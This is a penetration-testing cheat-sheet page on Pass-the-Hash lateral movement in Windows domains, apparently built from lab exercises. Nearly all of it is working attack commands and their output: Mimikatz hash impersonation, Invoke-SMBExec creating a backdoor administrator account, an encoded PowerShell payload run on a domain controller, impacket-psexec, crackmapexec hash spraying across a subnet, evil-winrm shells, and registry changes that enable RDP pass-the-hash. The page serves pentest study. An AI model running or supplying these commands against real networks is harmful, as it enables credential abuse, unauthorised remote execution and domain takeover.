> For the complete documentation index, see [llms.txt](https://0xss0rz.gitbook.io/0xss0rz/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://0xss0rz.gitbook.io/0xss0rz/pentest/post-exploitation/lateral-movement/pass-the-hash-pth.md). # Pass the Hash (PtH) ## **Mimikatz** {% content-ref url="/pages/RyOH5l3XbYdEQwoowuVE" %} [Mimikatz](/0xss0rz/pentest/tools/mimikatz.md) {% endcontent-ref %} ```cmd-session c:\tools> mimikatz.exe privilege::debug "sekurlsa::pth /user:julio /rc4:64F12CDDAA88057E06A81B54E73B949B /domain:inlanefreight.htb /run:cmd.exe" exit user : julio domain : inlanefreight.htb program : cmd.exe impers. : no NTLM : 64F12CDDAA88057E06A81B54E73B949B | PID 8404 | TID 4268 | LSA Process was already R/W | LUID 0 ; 5218172 (00000000:004f9f7c) \_ msv1_0 - data copy @ 0000028FC91AB510 : OK ! \_ kerberos - data copy @ 0000028FC964F288 \_ des_cbc_md4 -> null \_ des_cbc_md4 OK \_ des_cbc_md4 OK \_ des_cbc_md4 OK \_ des_cbc_md4 OK \_ des_cbc_md4 OK \_ des_cbc_md4 OK \_ *Password replace @ 0000028FC9673AE8 (32) -> null ```
## PowerShell Invoke-TheHash {% embed url="" %} ```powershell-session PS c:\htb> cd C:\tools\Invoke-TheHash\ PS c:\tools\Invoke-TheHash> Import-Module .\Invoke-TheHash.psd1 PS c:\tools\Invoke-TheHash> Invoke-SMBExec -Target 172.16.1.10 -Domain inlanefreight.htb -Username julio -Hash 64F12CDDAA88057E06A81B54E73B949B -Command "net user mark Password123 /add && net localgroup administrators mark /add" -Verbose VERBOSE: [+] inlanefreight.htb\julio successfully authenticated on 172.16.1.10 VERBOSE: inlanefreight.htb\julio has Service Control Manager write privilege on 172.16.1.10 VERBOSE: Service EGDKNNLQVOLFHRQTQMAU created on 172.16.1.10 VERBOSE: [*] Trying to execute command on 172.16.1.10 [+] Command executed with service EGDKNNLQVOLFHRQTQMAU on 172.16.1.10 VERBOSE: Service EGDKNNLQVOLFHRQTQMAU deleted on 172.16.1.10 ``` {% embed url="" %} ```powershell-session PS c:\tools\Invoke-TheHash> Import-Module .\Invoke-TheHash.psd1 PS c:\tools\Invoke-TheHash> Invoke-WMIExec -Target DC01 -Domain inlanefreight.htb -Username julio -Hash 64F12CDDAA88057E06A81B54E73B949B -Command "powershell -e JABjAGwAaQBlAG4AdAAgAD0AIABwAbwBzAGUAKAApAA==" [+] Command executed with process id 520 on DC01 ```
## Impacket PsExec ```shell-session $ impacket-psexec administrator@10.129.201.126 -hashes :30B3783CE2ABF1AF70F77D0660CF3453 Impacket v0.9.22 - Copyright 2020 SecureAuth Corporation [*] Requesting shares on 10.129.201.126..... [*] Found writable share ADMIN$ [*] Uploading file SLUBMRXK.exe [*] Opening SVCManager on 10.129.201.126..... [*] Creating service AdzX on 10.129.201.126..... [*] Starting service AdzX..... [!] Press help for extra shell commands Microsoft Windows [Version 10.0.19044.1415] (c) Microsoft Corporation. All rights reserved. C:\Windows\system32> ``` ``` psexec.py -hashes :"649f6**********84a" "xxxxadmin"@"172.16.1.X" ``` There are several other tools in the Impacket toolkit we can use for command execution using Pass the Hash attacks, such as: * [impacket-wmiexec](https://github.com/SecureAuthCorp/impacket/blob/master/examples/wmiexec.py) * [impacket-atexec](https://github.com/SecureAuthCorp/impacket/blob/master/examples/atexec.py) * [impacket-smbexec](https://github.com/SecureAuthCorp/impacket/blob/master/examples/smbexec.py) ## Netexec - CME {% content-ref url="/pages/HNzpgVH5ZoVTvC3HBY9m" %} [NetExec - CME](/0xss0rz/pentest/tools/netexec-cme.md) {% endcontent-ref %} ```shell-session # crackmapexec smb 172.16.1.0/24 -u Administrator -d . -H 30B3783CE2ABF1AF70F77D0660CF3453 SMB 172.16.1.10 445 DC01 [*] Windows 10.0 Build 17763 x64 (name:DC01) (domain:.) (signing:True) (SMBv1:False) SMB 172.16.1.10 445 DC01 [-] .\Administrator:30B3783CE2ABF1AF70F77D0660CF3453 STATUS_LOGON_FAILURE SMB 172.16.1.5 445 MS01 [*] Windows 10.0 Build 19041 x64 (name:MS01) (domain:.) (signing:False) (SMBv1:False) SMB 172.16.1.5 445 MS01 [+] .\Administrator 30B3783CE2ABF1AF70F77D0660CF3453 (Pwn3d!) ``` ## Evil-WinRM {% content-ref url="/pages/5zE4duLRkawZtstWjbb7" %} [Evil-WinRM](/0xss0rz/pentest/tools/evil-winrm.md) {% endcontent-ref %} ```shell-session $ evil-winrm -i 10.129.201.126 -u Administrator -H 30B3783CE2ABF1AF70F77D0660CF3453 Evil-WinRM shell v3.3 Info: Establishing connection to remote endpoint *Evil-WinRM* PS C:\Users\Administrator\Documents> ``` ## RDP (Linux)
1. Enable Restricted Admin Mode to Allow PtH ```cmd-session c:\tools> reg add HKLM\System\CurrentControlSet\Control\Lsa /t REG_DWORD /v DisableRestrictedAdmin /d 0x0 /f ``` With CME: (dont' work with nxc, don'know why....) * Enable RDP ``` cme smb 10.129.204.23 -u Administrator -H :30B3783CE2ABF1AF70F77D0660CF3453 --local-auth -M rdp -o ACTION=enable SMB 10.129.204.23 445 MS01 [*] Windows 10.0 Build 17763 x64 (name:MS01) (domain:MS01) (signing:False) (SMBv1:False) SMB 10.129.204.23 445 MS01 [+] MS01\Administrator:30B3783CE2ABF1AF70F77D0660CF3453 (admin) RDP 10.129.204.23 445 MS01 [+] Enable RDP via WMI(ncacn_ip_tcp) successfully RDP 10.129.204.23 445 MS01 [+] RDP Port: 3389 ``` * Allow PtH ``` nxc smb 10.129.204.23 -u Administrator -H :30B3783CE2ABF1AF70F77D0660CF3453 --local-auth -X 'reg add HKLM\System\CurrentControlSet\Control\Lsa /t REG_DWORD /v DisableRestrictedAdmin /d 0x0 /f' SMB 10.129.204.23 445 MS01 [*] Windows 10.0 Build 17763 x64 (name:MS01) (domain:MS01) (signing:False) (SMBv1:False) SMB 10.129.204.23 445 MS01 [+] MS01\Administrator:30B3783CE2ABF1AF70F77D0660CF3453 (admin) SMB 10.129.204.23 445 MS01 [+] Executed command via wmiexec SMB 10.129.204.23 445 MS01 The operation completed successfully. ``` 2. Pass the Hash Using RDP ```shell-session $ xfreerdp /v:10.129.201.126 /u:julio /pth:64F12CDDAA88057E06A81B54E73B949B [15:38:26:999] [94965:94966] [INFO][com.freerdp.core] - freerdp_connect:freerdp_set_last_error_ex resetting error state [15:38:26:999] [94965:94966] [INFO][com.freerdp.client.common.cmdline] - loading channelEx rdpdr ...snip... [15:38:26:352] [94965:94966] [ERROR][com.freerdp.crypto] - @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ [15:38:26:352] [94965:94966] [ERROR][com.freerdp.crypto] - @ WARNING: CERTIFICATE NAME MISMATCH! @ [15:38:26:352] [94965:94966] [ERROR][com.freerdp.crypto] - @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ ...SNIP... ``` ## Resources {% embed url="" %} {% embed url="" %}